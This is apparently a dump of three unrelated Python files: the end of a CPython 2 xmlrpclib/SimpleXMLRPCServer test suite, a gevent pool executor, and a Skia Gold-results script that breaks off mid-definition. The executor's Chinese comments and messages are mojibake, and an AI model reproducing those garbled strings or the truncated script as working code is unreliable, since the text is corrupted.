self.assertRaises(TypeError, xmlrpclib.dumps, (arg1,)) @unittest.skipIf(test_support.is_jython, "FIXME: #1875 not working in Jython") def test_default_encoding_issues(self): # SF bug #1115989: wrong decoding in '_stringify' utf8 = """<?xml version='1.0' encoding='iso-8859-1'?> <params> <param><value> <string>abc \x95</string> </value></param> <param><value> <struct> <member> <name>def \x96</name> <value><string>ghi \x97</string></value> </member> </struct> </value></param> </params> """ # sys.setdefaultencoding() normally doesn't exist after site.py is # loaded. Import a temporary fresh copy to get access to it # but then restore the original copy to avoid messing with # other potentially modified sys module attributes old_encoding = sys.getdefaultencoding() with test_support.CleanImport('sys'): import sys as temp_sys temp_sys.setdefaultencoding("iso-8859-1") try: (s, d), m = xmlrpclib.loads(utf8) finally: temp_sys.setdefaultencoding(old_encoding) items = d.items() if have_unicode: self.assertEqual(s, u"abc \x95") self.assertIsInstance(s, unicode) self.assertEqual(items, [(u"def \x96", u"ghi \x97")]) self.assertIsInstance(items[0][0], unicode) self.assertIsInstance(items[0][1], unicode) else: self.assertEqual(s, "abc \xc2\x95") self.assertEqual(items, [("def \xc2\x96", "ghi \xc2\x97")]) class HelperTestCase(unittest.TestCase): def test_escape(self): self.assertEqual(xmlrpclib.escape("a&b"), "a&amp;b") self.assertEqual(xmlrpclib.escape("a<b"), "a&lt;b") self.assertEqual(xmlrpclib.escape("a>b"), "a&gt;b") class FaultTestCase(unittest.TestCase): def test_repr(self): f = xmlrpclib.Fault(42, 'Test Fault') self.assertEqual(repr(f), "<Fault 42: 'Test Fault'>") self.assertEqual(repr(f), str(f)) def test_dump_fault(self): f = xmlrpclib.Fault(42, 'Test Fault') s = xmlrpclib.dumps((f,)) (newf,), m = xmlrpclib.loads(s) self.assertEqual(newf, {'faultCode': 42, 'faultString': 'Test Fault'}) self.assertEqual(m, None) s = xmlrpclib.Marshaller().dumps(f) self.assertRaises(xmlrpclib.Fault, xmlrpclib.loads, s) class DateTimeTestCase(unittest.TestCase): def test_default(self): t = xmlrpclib.DateTime() def test_time(self): d = 1181399930.036952 t = xmlrpclib.DateTime(d) self.assertEqual(str(t), time.strftime("%Y%m%dT%H:%M:%S", time.localtime(d))) def test_time_tuple(self): d = (2007,6,9,10,38,50,5,160,0) t = xmlrpclib.DateTime(d) self.assertEqual(str(t), '20070609T10:38:50') def test_time_struct(self): d = time.localtime(1181399930.036952) t = xmlrpclib.DateTime(d) self.assertEqual(str(t), time.strftime("%Y%m%dT%H:%M:%S", d)) def test_datetime_datetime(self): d = datetime.datetime(2007,1,2,3,4,5) t = xmlrpclib.DateTime(d) self.assertEqual(str(t), '20070102T03:04:05') def test_repr(self): d = datetime.datetime(2007,1,2,3,4,5) t = xmlrpclib.DateTime(d) val ="<DateTime '20070102T03:04:05' at %x>" % id(t) self.assertEqual(repr(t), val) def test_decode(self): d = ' 20070908T07:11:13 ' t1 = xmlrpclib.DateTime() t1.decode(d) tref = xmlrpclib.DateTime(datetime.datetime(2007,9,8,7,11,13)) self.assertEqual(t1, tref) t2 = xmlrpclib._datetime(d) self.assertEqual(t1, tref) class BinaryTestCase(unittest.TestCase): def test_default(self): t = xmlrpclib.Binary() self.assertEqual(str(t), '') def test_string(self): d = '\x01\x02\x03abc123\xff\xfe' t = xmlrpclib.Binary(d) self.assertEqual(str(t), d) def test_decode(self): d = '\x01\x02\x03abc123\xff\xfe' de = base64.encodestring(d) t1 = xmlrpclib.Binary() t1.decode(de) self.assertEqual(str(t1), d) t2 = xmlrpclib._binary(de) self.assertEqual(str(t2), d) ADDR = PORT = URL = None # The evt is set twice. First when the server is ready to serve. # Second when the server has been shutdown. The user must clear # the event after it has been set the first time to catch the second set. def http_server(evt, numrequests, requestHandler=None): class TestInstanceClass: def div(self, x, y): return x // y def _methodHelp(self, name): if name == 'div': return 'This is the div function' def my_function(): '''This is my function''' return True class MyXMLRPCServer(SimpleXMLRPCServer.SimpleXMLRPCServer): def get_request(self): # Ensure the socket is always non-blocking. On Linux, socket # attributes are not inherited like they are on *BSD and Windows. s, port = self.socket.accept() s.setblocking(True) return s, port if not requestHandler: requestHandler = SimpleXMLRPCServer.SimpleXMLRPCRequestHandler serv = MyXMLRPCServer(("localhost", 0), requestHandler, logRequests=False, bind_and_activate=False) try: serv.socket.settimeout(3) serv.server_bind() serv.server_activate() global ADDR, PORT, URL ADDR, PORT = serv.socket.getsockname() #connect to IP address directly. This avoids socket.create_connection() #trying to connect to "localhost" using all address families, which #causes slowdown e.g. on vista which supports AF_INET6. The server listens #on AF_INET only. URL = "http://%s:%d"%(ADDR, PORT) serv.register_introspection_functions() serv.register_multicall_functions() serv.register_function(pow) serv.register_function(lambda x,y: x+y, 'add') serv.register_function(my_function) serv.register_instance(TestInstanceClass()) evt.set() # handle up to 'numrequests' requests while numrequests > 0: serv.handle_request() numrequests -= 1 except socket.timeout: pass finally: serv.socket.close() PORT = None evt.set() def http_multi_server(evt, numrequests, requestHandler=None): class TestInstanceClass: def div(self, x, y): return x // y def _methodHelp(self, name): if name == 'div': return 'This is the div function' def my_function(): '''This is my function''' return True class MyXMLRPCServer(SimpleXMLRPCServer.MultiPathXMLRPCServer): def get_request(self): # Ensure the socket is always non-blocking. On Linux, socket # attributes are not inherited like they are on *BSD and Windows. s, port = self.socket.accept() s.setblocking(True) return s, port if not requestHandler: requestHandler = SimpleXMLRPCServer.SimpleXMLRPCRequestHandler class MyRequestHandler(requestHandler): rpc_paths = [] serv = MyXMLRPCServer(("localhost", 0), MyRequestHandler, logRequests=False, bind_and_activate=False) serv.socket.settimeout(3) serv.server_bind() try: serv.server_activate() global ADDR, PORT, URL ADDR, PORT = serv.socket.getsockname() #connect to IP address directly. This avoids socket.create_connection() #trying to connect to "localhost" using all address families, which #causes slowdown e.g. on vista which supports AF_INET6. The server listens #on AF_INET only. URL = "http://%s:%d"%(ADDR, PORT) paths = ["/foo", "/foo/bar"] for path in paths: d = serv.add_dispatcher(path, SimpleXMLRPCServer.SimpleXMLRPCDispatcher()) d.register_introspection_functions() d.register_multicall_functions() serv.get_dispatcher(paths[0]).register_function(pow) serv.get_dispatcher(paths[1]).register_function(lambda x,y: x+y, 'add') evt.set() # handle up to 'numrequests' requests while numrequests > 0: serv.handle_request() numrequests -= 1 except socket.timeout: pass finally: serv.socket.close() PORT = None evt.set() # This function prevents errors like: # <ProtocolError for localhost:57527/RPC2: 500 Internal Server Error> def is_unavailable_exception(e): '''Returns True if the given ProtocolError is the product of a server-side exception caused by the 'temporarily unavailable' response sometimes given by operations on non-blocking sockets.''' # sometimes we get a -1 error code and/or empty headers try: if e.errcode == -1 or e.headers is None: return True exc_mess = e.headers.get('X-exception') except AttributeError: # Ignore socket.errors here. exc_mess = str(e) if exc_mess and 'temporarily unavailable' in exc_mess.lower(): return True return False @unittest.skipUnless(threading, 'Threading required for this test.') class BaseServerTestCase(unittest.TestCase): requestHandler = None request_count = 1 threadFunc = staticmethod(http_server) def setUp(self): # enable traceback reporting SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header = True self.evt = threading.Event() # start server thread to handle requests serv_args = (self.evt, self.request_count, self.requestHandler) t = threading.Thread(target=self.threadFunc, args=serv_args) t.setDaemon(True) t.start() # wait for the server to be ready self.evt.wait(10) self.evt.clear() def tearDown(self): # wait on the server thread to terminate self.evt.wait(10) # disable traceback reporting SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header = False # NOTE: The tests in SimpleServerTestCase will ignore failures caused by # "temporarily unavailable" exceptions raised in SimpleXMLRPCServer. This # condition occurs infrequently on some platforms, frequently on others, and # is apparently caused by using SimpleXMLRPCServer with a non-blocking socket # If the server class is updated at some point in the future to handle this # situation more gracefully, these tests should be modified appropriately. class SimpleServerTestCase(BaseServerTestCase): def test_simple1(self): try: p = xmlrpclib.ServerProxy(URL) self.assertEqual(p.pow(6,8), 6**8) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_nonascii(self): start_string = 'P\N{LATIN SMALL LETTER Y WITH CIRCUMFLEX}t' end_string = 'h\N{LATIN SMALL LETTER O WITH HORN}n' try: p = xmlrpclib.ServerProxy(URL) self.assertEqual(p.add(start_string, end_string), start_string + end_string) except (xmlrpclib.ProtocolError, socket.error) as e: # ignore failures due to non-blocking socket unavailable errors. if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_unicode_host(self): server = xmlrpclib.ServerProxy(u"http://%s:%d/RPC2"%(ADDR, PORT)) self.assertEqual(server.add("a", u"\xe9"), u"a\xe9") # [ch] The test 404 is causing lots of false alarms. def XXXtest_404(self): # send POST with httplib, it should return 404 header and # 'Not Found' message. conn = httplib.HTTPConnection(ADDR, PORT) conn.request('POST', '/this-is-not-valid') response = conn.getresponse() conn.close() self.assertEqual(response.status, 404) self.assertEqual(response.reason, 'Not Found') def test_introspection1(self): try: p = xmlrpclib.ServerProxy(URL) meth = p.system.listMethods() expected_methods = set(['pow', 'div', 'my_function', 'add', 'system.listMethods', 'system.methodHelp', 'system.methodSignature', 'system.multicall']) self.assertEqual(set(meth), expected_methods) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_introspection2(self): try: # test _methodHelp() p = xmlrpclib.ServerProxy(URL) divhelp = p.system.methodHelp('div') self.assertEqual(divhelp, 'This is the div function') except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) @unittest.skipIf(sys.flags.optimize >= 2, "Docstrings are omitted with -O2 and above") def test_introspection3(self): try: # test native doc p = xmlrpclib.ServerProxy(URL) myfunction = p.system.methodHelp('my_function') self.assertEqual(myfunction, 'This is my function') except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_introspection4(self): # the SimpleXMLRPCServer doesn't support signatures, but # at least check that we can try making the call try: p = xmlrpclib.ServerProxy(URL) divsig = p.system.methodSignature('div') self.assertEqual(divsig, 'signatures not supported') except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_multicall(self): try: p = xmlrpclib.ServerProxy(URL) multicall = xmlrpclib.MultiCall(p) multicall.add(2,3) multicall.pow(6,8) multicall.div(127,42) add_result, pow_result, div_result = multicall() self.assertEqual(add_result, 2+3) self.assertEqual(pow_result, 6**8) self.assertEqual(div_result, 127//42) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_non_existing_multicall(self): try: p = xmlrpclib.ServerProxy(URL) multicall = xmlrpclib.MultiCall(p) multicall.this_is_not_exists() result = multicall() # result.results contains; # [{'faultCode': 1, 'faultString': '<type \'exceptions.Exception\'>:' # 'method "this_is_not_exists" is not supported'>}] self.assertEqual(result.results[0]['faultCode'], 1) self.assertEqual(result.results[0]['faultString'], '<type \'exceptions.Exception\'>:method "this_is_not_exists" ' 'is not supported') except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_dotted_attribute(self): # Raises an AttributeError because private methods are not allowed. self.assertRaises(AttributeError, SimpleXMLRPCServer.resolve_dotted_attribute, str, '__add') self.assertTrue(SimpleXMLRPCServer.resolve_dotted_attribute(str, 'title')) # Get the test to run faster by sending a request with test_simple1. # This avoids waiting for the socket timeout. self.test_simple1() def test_partial_post(self): # Check that a partial POST doesn't make the server loop: issue #14001. conn = httplib.HTTPConnection(ADDR, PORT) conn.request('POST', '/RPC2 HTTP/1.0\r\nContent-Length: 100\r\n\r\nbye') conn.close() class MultiPathServerTestCase(BaseServerTestCase): threadFunc = staticmethod(http_multi_server) request_count = 2 def test_path1(self): p = xmlrpclib.ServerProxy(URL+"/foo") self.assertEqual(p.pow(6,8), 6**8) self.assertRaises(xmlrpclib.Fault, p.add, 6, 8) def test_path2(self): p = xmlrpclib.ServerProxy(URL+"/foo/bar") self.assertEqual(p.add(6,8), 6+8) self.assertRaises(xmlrpclib.Fault, p.pow, 6, 8) #A test case that verifies that a server using the HTTP/1.1 keep-alive mechanism #does indeed serve subsequent requests on the same connection class BaseKeepaliveServerTestCase(BaseServerTestCase): #a request handler that supports keep-alive and logs requests into a #class variable class RequestHandler(SimpleXMLRPCServer.SimpleXMLRPCRequestHandler): parentClass = SimpleXMLRPCServer.SimpleXMLRPCRequestHandler protocol_version = 'HTTP/1.1' myRequests = [] def handle(self): self.myRequests.append([]) self.reqidx = len(self.myRequests)-1 return self.parentClass.handle(self) def handle_one_request(self): result = self.parentClass.handle_one_request(self) self.myRequests[self.reqidx].append(self.raw_requestline) return result requestHandler = RequestHandler def setUp(self): #clear request log self.RequestHandler.myRequests = [] return BaseServerTestCase.setUp(self) #A test case that verifies that a server using the HTTP/1.1 keep-alive mechanism #does indeed serve subsequent requests on the same connection class KeepaliveServerTestCase1(BaseKeepaliveServerTestCase): def test_two(self): p = xmlrpclib.ServerProxy(URL) #do three requests. self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) #they should have all been handled by a single request handler self.assertEqual(len(self.RequestHandler.myRequests), 1) #check that we did at least two (the third may be pending append #due to thread scheduling) self.assertGreaterEqual(len(self.RequestHandler.myRequests[-1]), 2) #test special attribute access on the serverproxy, through the __call__ #function. class KeepaliveServerTestCase2(BaseKeepaliveServerTestCase): #ask for two keepalive requests to be handled. request_count=2 def test_close(self): p = xmlrpclib.ServerProxy(URL) #do some requests with close. self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) p("close")() #this should trigger a new keep-alive request self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(p.pow(6,8), 6**8) #they should have all been two request handlers, each having logged at least #two complete requests self.assertEqual(len(self.RequestHandler.myRequests), 2) self.assertGreaterEqual(len(self.RequestHandler.myRequests[-1]), 2) self.assertGreaterEqual(len(self.RequestHandler.myRequests[-2]), 2) def test_transport(self): p = xmlrpclib.ServerProxy(URL) #do some requests with close. self.assertEqual(p.pow(6,8), 6**8) p("transport").close() #same as above, really. self.assertEqual(p.pow(6,8), 6**8) self.assertEqual(len(self.RequestHandler.myRequests), 2) #A test case that verifies that gzip encoding works in both directions #(for a request and the response) class GzipServerTestCase(BaseServerTestCase): #a request handler that supports keep-alive and logs requests into a #class variable class RequestHandler(SimpleXMLRPCServer.SimpleXMLRPCRequestHandler): parentClass = SimpleXMLRPCServer.SimpleXMLRPCRequestHandler protocol_version = 'HTTP/1.1' def do_POST(self): #store content of last request in class self.__class__.content_length = int(self.headers["content-length"]) return self.parentClass.do_POST(self) requestHandler = RequestHandler class Transport(xmlrpclib.Transport): #custom transport, stores the response length for our perusal fake_gzip = False def parse_response(self, response): self.response_length=int(response.getheader("content-length", 0)) return xmlrpclib.Transport.parse_response(self, response) def send_content(self, connection, body): if self.fake_gzip: #add a lone gzip header to induce decode error remotely connection.putheader("Content-Encoding", "gzip") return xmlrpclib.Transport.send_content(self, connection, body) def setUp(self): BaseServerTestCase.setUp(self) def test_gzip_request(self): t = self.Transport() t.encode_threshold = None p = xmlrpclib.ServerProxy(URL, transport=t) self.assertEqual(p.pow(6,8), 6**8) a = self.RequestHandler.content_length t.encode_threshold = 0 #turn on request encoding self.assertEqual(p.pow(6,8), 6**8) b = self.RequestHandler.content_length self.assertTrue(a>b) def test_bad_gzip_request(self): t = self.Transport() t.encode_threshold = None t.fake_gzip = True p = xmlrpclib.ServerProxy(URL, transport=t) cm = self.assertRaisesRegexp(xmlrpclib.ProtocolError, re.compile(r"\b400\b")) with cm: p.pow(6, 8) def test_gsip_response(self): t = self.Transport() p = xmlrpclib.ServerProxy(URL, transport=t) old = self.requestHandler.encode_threshold self.requestHandler.encode_threshold = None #no encoding self.assertEqual(p.pow(6,8), 6**8) a = t.response_length self.requestHandler.encode_threshold = 0 #always encode self.assertEqual(p.pow(6,8), 6**8) b = t.response_length self.requestHandler.encode_threshold = old self.assertTrue(a>b) #Test special attributes of the ServerProxy object class ServerProxyTestCase(unittest.TestCase): def setUp(self): unittest.TestCase.setUp(self) if threading: self.url = URL else: # Without threading, http_server() and http_multi_server() will not # be executed and URL is still equal to None. 'http://' is a just # enough to choose the scheme (HTTP) self.url = 'http://' def test_close(self): p = xmlrpclib.ServerProxy(self.url) self.assertEqual(p('close')(), None) def test_transport(self): t = xmlrpclib.Transport() p = xmlrpclib.ServerProxy(self.url, transport=t) self.assertEqual(p('transport'), t) # This is a contrived way to make a failure occur on the server side # in order to test the _send_traceback_header flag on the server class FailingMessageClass(mimetools.Message): def __getitem__(self, key): key = key.lower() if key == 'content-length': return 'I am broken' return mimetools.Message.__getitem__(self, key) @unittest.skipUnless(threading, 'Threading required for this test.') class FailingServerTestCase(unittest.TestCase): def setUp(self): self.evt = threading.Event() # start server thread to handle requests serv_args = (self.evt, 1) threading.Thread(target=http_server, args=serv_args).start() # wait for the server to be ready self.evt.wait() self.evt.clear() def tearDown(self): # wait on the server thread to terminate self.evt.wait() # reset flag SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header = False # reset message class SimpleXMLRPCServer.SimpleXMLRPCRequestHandler.MessageClass = mimetools.Message def test_basic(self): # check that flag is false by default flagval = SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header self.assertEqual(flagval, False) # enable traceback reporting SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header = True # test a call that shouldn't fail just as a smoke test try: p = xmlrpclib.ServerProxy(URL) self.assertEqual(p.pow(6,8), 6**8) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e): # protocol error; provide additional information in test output self.fail("%s\n%s" % (e, getattr(e, "headers", ""))) def test_fail_no_info(self): # use the broken message class SimpleXMLRPCServer.SimpleXMLRPCRequestHandler.MessageClass = FailingMessageClass try: p = xmlrpclib.ServerProxy(URL) p.pow(6,8) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e) and hasattr(e, "headers"): # The two server-side error headers shouldn't be sent back in this case self.assertTrue(e.headers.get("X-exception") is None) self.assertTrue(e.headers.get("X-traceback") is None) else: self.fail('ProtocolError not raised') def test_fail_with_info(self): # use the broken message class SimpleXMLRPCServer.SimpleXMLRPCRequestHandler.MessageClass = FailingMessageClass # Check that errors in the server send back exception/traceback # info when flag is set SimpleXMLRPCServer.SimpleXMLRPCServer._send_traceback_header = True try: p = xmlrpclib.ServerProxy(URL) p.pow(6,8) except (xmlrpclib.ProtocolError, socket.error), e: # ignore failures due to non-blocking socket 'unavailable' errors if not is_unavailable_exception(e) and hasattr(e, "headers"): # We should get error info in the response expected_err = "invalid literal for int() with base 10: 'I am broken'" self.assertEqual(e.headers.get("x-exception"), expected_err) self.assertTrue(e.headers.get("x-traceback") is not None) else: self.fail('ProtocolError not raised') class CGIHandlerTestCase(unittest.TestCase): def setUp(self): self.cgi = SimpleXMLRPCServer.CGIXMLRPCRequestHandler() def tearDown(self): self.cgi = None def test_cgi_get(self): with test_support.EnvironmentVarGuard() as env: env['REQUEST_METHOD'] = 'GET' # if the method is GET and no request_text is given, it runs handle_get # get sysout output with test_support.captured_stdout() as data_out: self.cgi.handle_request() # parse Status header data_out.seek(0) handle = data_out.read() status = handle.split()[1] message = ' '.join(handle.split()[2:4]) self.assertEqual(status, '400') self.assertEqual(message, 'Bad Request') def test_cgi_xmlrpc_response(self): data = """<?xml version='1.0'?> <methodCall> <methodName>test_method</methodName> <params> <param> <value><string>foo</string></value> </param> <param> <value><string>bar</string></value> </param> </params> </methodCall> """ with test_support.EnvironmentVarGuard() as env, \ test_support.captured_stdout() as data_out, \ test_support.captured_stdin() as data_in: data_in.write(data) data_in.seek(0) env['CONTENT_LENGTH'] = str(len(data)) self.cgi.handle_request() data_out.seek(0) # will respond exception, if so, our goal is achieved ;) handle = data_out.read() # start with 44th char so as not to get http header, we just need only xml self.assertRaises(xmlrpclib.Fault, xmlrpclib.loads, handle[44:]) # Also test the content-length returned by handle_request # Using the same test method inorder to avoid all the datapassing # boilerplate code. # Test for bug: http://bugs.python.org/issue5040 content = handle[handle.find("<?xml"):] self.assertEqual( int(re.search('Content-Length: (\d+)', handle).group(1)), len(content)) class FakeSocket: def __init__(self): self.data = StringIO.StringIO() def send(self, buf): self.data.write(buf) return len(buf) def sendall(self, buf): self.data.write(buf) def getvalue(self): return self.data.getvalue() def makefile(self, x='r', y=-1): raise RuntimeError def close(self): pass class FakeTransport(xmlrpclib.Transport): """A Transport instance that records instead of sending a request. This class replaces the actual socket used by httplib with a FakeSocket object that records the request. It doesn't provide a response. """ def make_connection(self, host): conn = xmlrpclib.Transport.make_connection(self, host) conn.sock = self.fake_socket = FakeSocket() return conn class TransportSubclassTestCase(unittest.TestCase): def issue_request(self, transport_class): """Return an HTTP request made via transport_class.""" transport = transport_class() proxy = xmlrpclib.ServerProxy("http://example.com/", transport=transport) try: proxy.pow(6, 8) except RuntimeError: return transport.fake_socket.getvalue() return None def test_custom_user_agent(self): class TestTransport(FakeTransport): def send_user_agent(self, conn): xmlrpclib.Transport.send_user_agent(self, conn) conn.putheader("X-Test", "test_custom_user_agent") req = self.issue_request(TestTransport) self.assertIn("X-Test: test_custom_user_agent\r\n", req) def test_send_host(self): class TestTransport(FakeTransport): def send_host(self, conn, host): xmlrpclib.Transport.send_host(self, conn, host) conn.putheader("X-Test", "test_send_host") req = self.issue_request(TestTransport) self.assertIn("X-Test: test_send_host\r\n", req) def test_send_request(self): class TestTransport(FakeTransport): def send_request(self, conn, url, body): xmlrpclib.Transport.send_request(self, conn, url, body) conn.putheader("X-Test", "test_send_request") req = self.issue_request(TestTransport) self.assertIn("X-Test: test_send_request\r\n", req) def test_send_content(self): class TestTransport(FakeTransport): def send_content(self, conn, body): conn.putheader("X-Test", "test_send_content") xmlrpclib.Transport.send_content(self, conn, body) req = self.issue_request(TestTransport) self.assertIn("X-Test: test_send_content\r\n", req) @test_support.reap_threads def test_main(): xmlrpc_tests = [XMLRPCTestCase, HelperTestCase, DateTimeTestCase, BinaryTestCase, FaultTestCase, TransportSubclassTestCase] xmlrpc_tests.append(SimpleServerTestCase) xmlrpc_tests.append(KeepaliveServerTestCase1) xmlrpc_tests.append(KeepaliveServerTestCase2) try: import gzip xmlrpc_tests.append(GzipServerTestCase) except ImportError: pass #gzip not supported in this build xmlrpc_tests.append(MultiPathServerTestCase) xmlrpc_tests.append(ServerProxyTestCase) xmlrpc_tests.append(FailingServerTestCase) xmlrpc_tests.append(CGIHandlerTestCase) test_support.run_unittest(*xmlrpc_tests) if __name__ == "__main__": test_main()
custom_gevent_pool_executor.py
# -*- coding: utf-8 -*- # @Author : ydf # @Time : 2019/7/2 14:11 import atexit import time import warnings from collections import Callable import threading import gevent from gevent import pool as gevent_pool from gevent import monkey from gevent.queue import JoinableQueue from nb_log import LoggerMixin, nb_print, LogManager def check_gevent_monkey_patch(raise_exc=True): if not monkey.is_module_patched('socket'): # ้šไพฟ้€‰ไธ€ไธชๆฃ€ๆต‹ๆ ‡ๅฟ— if raise_exc: warnings.warn(f'ๆฃ€ๆต‹ๅˆฐ ไฝ ่ฟ˜ๆฒกๆœ‰ๆ‰“geventๅŒ…็š„็Œดๅญ่กฅไธ๏ผŒ่ฏทๅœจๆ‰€่ฟ่กŒ็š„่ตทๅง‹่„šๆœฌ็ฌฌไธ€่กŒๅ†™ไธŠ ใ€import gevent.monkey;gevent.monkey.patch_all()ใ€‘ ่ฟ™ๅฅ่ฏใ€‚') raise Exception(f'ๆฃ€ๆต‹ๅˆฐ ไฝ ่ฟ˜ๆฒกๆœ‰ๆ‰“geventๅŒ…็š„็Œดๅญ่กฅไธ๏ผŒ่ฏทๅœจๆ‰€่ฟ่กŒ็š„่ตทๅง‹่„šๆœฌ็ฌฌไธ€่กŒๅ†™ไธŠ ใ€import gevent.monkey;gevent.monkey.patch_all()ใ€‘ ่ฟ™ๅฅ่ฏใ€‚') else: return 1 logger_gevent_timeout_deco = LogManager('gevent_timeout_deco').get_logger_and_add_handlers() def gevent_timeout_deco(timeout_t): def _gevent_timeout_deco(f): def __gevent_timeout_deceo(*args, **kwargs): timeout = gevent.Timeout(timeout_t, ) timeout.start() result = None try: result = f(*args, **kwargs) except gevent.Timeout as t: logger_gevent_timeout_deco.error(f'ๅ‡ฝๆ•ฐ {f} ่ฟ่กŒ่ถ…่ฟ‡ไบ† {timeout_t} ็ง’') if t is not timeout: nb_print(t) # raise # not my timeout finally: timeout.close() return result return __gevent_timeout_deceo return _gevent_timeout_deco class GeventPoolExecutor(gevent_pool.Pool): def __init__(self, size=None, greenlet_class=None): check_gevent_monkey_patch() # basecomer.pyไธญๆฃ€ๆŸฅใ€‚ super().__init__(size, greenlet_class) atexit.register(self.shutdown) def submit(self, *args, **kwargs): self.spawn(*args, **kwargs) def shutdown(self): self.join() class GeventPoolExecutor2(LoggerMixin): def __init__(self, max_works, ): self._q = JoinableQueue(maxsize=max_works) # self._q = Queue(maxsize=max_works) for _ in range(max_works): gevent.spawn(self.__worker) # atexit.register(self.__atexit) self._q.join(timeout=100) def __worker(self): while True: fn, args, kwargs = self._q.get() try: fn(*args, **kwargs) except Exception as exc: self.logger.exception(f'ๅ‡ฝๆ•ฐ {fn.__name__} ไธญๅ‘็”Ÿ้”™่ฏฏ๏ผŒ้”™่ฏฏๅŽŸๅ› ๆ˜ฏ {type(exc)} {exc} ') finally: pass self._q.task_done() def submit(self, fn: Callable, *args, **kwargs): self._q.put((fn, args, kwargs)) def __atexit(self): self.logger.critical('ๆƒณๅณๅฐ†้€€ๅ‡บ็จ‹ๅบใ€‚') self._q.join() class GeventPoolExecutor3(LoggerMixin): def __init__(self, max_works, ): self._q = gevent.queue.Queue(max_works) self.g_list = [] for _ in range(max_works): self.g_list.append(gevent.spawn(self.__worker)) atexit.register(self.__atexit) def __worker(self): while True: fn, args, kwargs = self._q.get() try: fn(*args, **kwargs) except Exception as exc: self.logger.exception(f'ๅ‡ฝๆ•ฐ {fn.__name__} ไธญๅ‘็”Ÿ้”™่ฏฏ๏ผŒ้”™่ฏฏๅŽŸๅ› ๆ˜ฏ {type(exc)} {exc} ') def submit(self, fn: Callable, *args, **kwargs): self._q.put((fn, args, kwargs)) def joinall(self): gevent.joinall(self.g_list) def joinall_in_new_thread(self): threading.Thread(target=self.joinall) def __atexit(self): self.logger.critical('ๆƒณๅณๅฐ†้€€ๅ‡บ็จ‹ๅบใ€‚') self.joinall() if __name__ == '__main__': monkey.patch_all(thread=False) def f2(x): time.sleep(3) nb_print(x * 10) pool = GeventPoolExecutor3(40) for i in range(20): time.sleep(0.1) nb_print(f'ๆ”พๅ…ฅ{i}') pool.submit(gevent_timeout_deco(8)(f2), i) # pool.joinall_in_new_thread() nb_print(66666666)
find_commit_with_best_gold_results.py
#! /usr/bin/env python # Copyright 2019 Google LLC. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import json import os import re import subprocess import sys import threading import urllib import urllib2 assert '/' in [os.sep, os.altsep] skia_directory = os.path.abspath(os.path.dirname(__file__) + '/../..') def get_jobs(): path = skia_directory + '/infra/bots/jobs.json' reg = re.compile('Test-(?P<os>[A-Za-z0-9_]+)-' '(?P<compiler>[A-Za-z0-9_]+)-' '(?P<model>[A-Za-z0-9_]+)-GPU-' '(?P<cpu_or_gpu_value>[A-Za-z0-9_]+)-' '(?P<arch>[A-Za-z0-9_]+)-' '(?P<configuration>[A-Za-z0-9_]+)-' 'All(-(?P<extra_config>[A-Za-z0-9_]+)|)') keys = ['os', 'compiler', 'model', 'cpu_or_gpu_value', 'arch', 'configuration', 'extra_config'] def fmt(s): return s.encode('utf-8') if s is not None else '' with open(path) as f: jobs = json.load(f) for job in jobs: m = reg.match(job) if m is not None: yield [(k, fmt(m.group(k))) for k in keys] def gold_export_url(job, config, first_commit, last_commit): qq = [('source_type', 'gm'), ('config', config)] + job query = [ ('fbegin', first_commit), ('fend', last_commit), ('query', urllib.urlencode(qq)), ('pos', 'true'), ('neg', 'false'), ('unt', 'false'), ('head', 'true') ] return 'https://public-gold.skia.org/json/export?' + urllib.urlencode(query) def get_results_for_commit(commit, jobs): sys.stderr.write('%s\n' % commit) sys.stderr.flush() CONFIGS = ['gles', 'vk'] passing_tests_for_all_jobs = [] def process(url): testResults = json.load(urllib2.urlopen(url)) sys.stderr.write('.') sys.stderr.flush() passing_tests = 0 for t in testResults: assert t['digests'] passing_tests += 1 passing_tests_for_all_jobs.append(passing_tests) all_urls = [gold_export_url(job, config, commit, commit) for job in jobs for config in CONFIGS] threads = [threading.Thread(target=process, args=(url,)) for url in all_urls] for t in threads: t.start() for t in threads: t.join() result = sum(passing_tests_for_all_jobs) sys.stderr.write('\n%d\n' % result) sys.stderr.flush() return result def 